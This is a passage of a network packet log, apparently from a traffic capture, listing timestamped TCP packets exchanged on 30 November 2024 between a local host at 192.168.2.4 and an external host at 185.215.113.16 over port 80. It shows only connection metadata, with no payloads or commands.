Nov 30, 2024 09:44:34.979087114 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.979134083 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.979480982 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.979523897 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.983931065 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.984262943 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.984309912 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.988615990 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.988691092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.988981962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.989037037 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.993395090 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.993446112 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.993860960 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.993907928 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.998240948 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.998289108 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:34.998611927 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:34.998657942 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.003361940 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.003412962 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.003447056 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.003501892 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.007982969 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.008028984 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.008313894 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.008361101 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.012587070 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.012660980 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.012964010 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.013010025 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.017430067 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.017505884 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.017832041 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.017882109 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.022248030 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.022315025 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.022691965 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.022742987 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.027142048 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.027190924 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.027364969 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.027410984 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.031783104 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.031833887 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.032144070 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.032191992 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.036750078 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.036813021 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.037013054 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.037061930 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.041400909 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.041451931 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.041724920 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.041773081 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.047710896 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.048341036 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.048398972 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.127826929 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.128194094 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.128266096 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.130064964 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.130389929 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.130451918 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.134316921 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.135109901 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.154856920 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.155107975 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.155188084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.155230999 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.155914068 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.155966997 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.156275988 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.156338930 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.159466982 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.159816027 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.159866095 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.162938118 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.163001060 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.163309097 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.163496017 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.166503906 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.166867971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.166929007 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.169909954 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.169960022 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.170269012 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.170315981 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.173295021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.173698902 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.173743010 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.176656961 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.176729918 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.176968098 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.177026987 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.178514957 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.178884983 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.178950071 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.180421114 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.180476904 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.180728912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.180840969 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.182302952 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.182498932 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.182660103 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.182707071 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.184111118 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.184488058 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.184535027 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.186021090 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.186074972 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.186409950 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.186467886 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.187942028 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.187990904 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.188280106 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.188380003 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.190020084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.190264940 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.190326929 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.191680908 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.191867113 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.192048073 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.192100048 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.193568945 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.193615913 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.193912029 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.193959951 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.195472956 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.195523024 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.195791960 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.195836067 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.197349072 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.197396994 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.197671890 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.197715998 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.199228048 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.199274063 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.199588060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.199631929 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.201122999 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.201185942 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.201514959 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.201560974 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.203018904 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.203069925 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.203356028 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.203402996 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.204843998 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.204891920 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.205234051 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.205276012 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.206729889 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.206774950 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.207103014 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.207148075 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.208632946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.208683014 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.209002972 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.209050894 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.210504055 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.210547924 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.210860014 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.210903883 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.212399006 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.212444067 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.212800980 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.212846041 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.214282036 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.214330912 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.214648962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.214694977 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.216201067 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.216249943 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.216623068 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.216670990 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.218085051 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.218128920 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.218416929 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.218470097 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.219954014 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.220001936 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.220339060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.220385075 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.221869946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.221915007 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.222182035 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.222229004 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.223712921 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.223762035 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.224102020 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.224144936 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.225625038 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.225668907 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.225963116 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.226011038 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.227535963 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.227583885 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.329195023 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.329250097 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.329699993 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.329747915 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.330414057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.330456972 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.331125021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.331171989 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.332010031 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.332055092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.332425117 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.332473993 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.333858013 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.333905935 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.334247112 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.334292889 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.335746050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.335794926 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.336038113 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.336081028 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.356223106 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.356297016 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.356463909 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.356611013 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.357136011 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.357192039 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.357850075 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.357899904 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.358632088 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.358680010 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.359277964 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.359349966 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.359786987 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.359833002 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.360923052 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.360966921 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.361303091 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.361355066 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.362721920 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.362763882 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.363101959 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.363147974 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.364367008 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.364413977 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.364732981 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.364778996 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.366051912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.366101027 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.366375923 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.366417885 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.367779016 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.367824078 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.368138075 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.368186951 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.369456053 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.369505882 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.369803905 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.369848013 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.371171951 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.371217012 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.371532917 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.371607065 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.372828007 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.372874022 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.373275042 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.373322010 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.374643087 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.374691010 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.374893904 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.374936104 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.376240015 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.376286983 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.376669884 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.376715899 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.377922058 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.377969027 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.378310919 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.378356934 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.379635096 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.379679918 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.379987001 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.380031109 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.381386995 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.381429911 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.381681919 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.381724119 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.383166075 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.383213043 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.383601904 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.383646965 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.384730101 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.384780884 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.385078907 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.385124922 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.386497021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.386542082 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.386954069 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.386998892 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.388155937 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.388202906 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.388557911 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.388601065 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.389831066 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.389878035 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.390177965 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.390244961 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.391515017 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.391565084 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.391887903 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.391935110 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.393264055 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.393311024 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.393591881 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.393635988 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.394942045 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.394990921 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.395292044 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.395337105 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.396656036 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.396701097 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.397373915 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.397419930 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.398900032 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.398945093 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.399214983 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.399256945 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.400048018 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.400094032 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.400580883 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.400625944 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.401751995 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.401796103 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.402148962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.402201891 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.403453112 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.403516054 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.403824091 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.403867960 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.405113935 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.405163050 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.405519009 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.405563116 CET	49759	80	192.168.2.4	185.215.113.16
